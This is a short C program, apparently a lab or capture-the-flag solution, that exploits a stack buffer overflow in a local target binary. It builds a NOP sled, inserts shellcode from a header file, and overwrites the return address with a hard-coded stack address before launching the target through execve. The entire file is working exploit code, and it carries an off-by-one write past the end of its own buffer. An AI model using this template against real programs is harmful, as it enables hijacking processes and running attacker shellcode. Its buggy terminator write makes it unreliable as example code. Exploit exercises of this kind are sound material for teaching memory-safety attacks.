

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/bin/target0"
#define BUFLLEN 320
#define EIP 0xffffdbc0

int main(void)
{
    char *args[3];
    char *env[1];

    char buf[BUFLLEN + 9];
    memset(buf, 0x90, sizeof(buf) - 1);
    buf[BUFLLEN + 9] = 0;
    memcpy(buf, shellcode, sizeof(shellcode) - 1);
    *(unsigned int*)(buf + BUFLLEN + 4) = EIP;

    args[0] = TARGET;
    args[1] = buf;
    args[2] = NULL;
    env[0] = NULL;

    if (0 > execve(TARGET, args, env))
        perror("execve failed");

    return 0;
}
```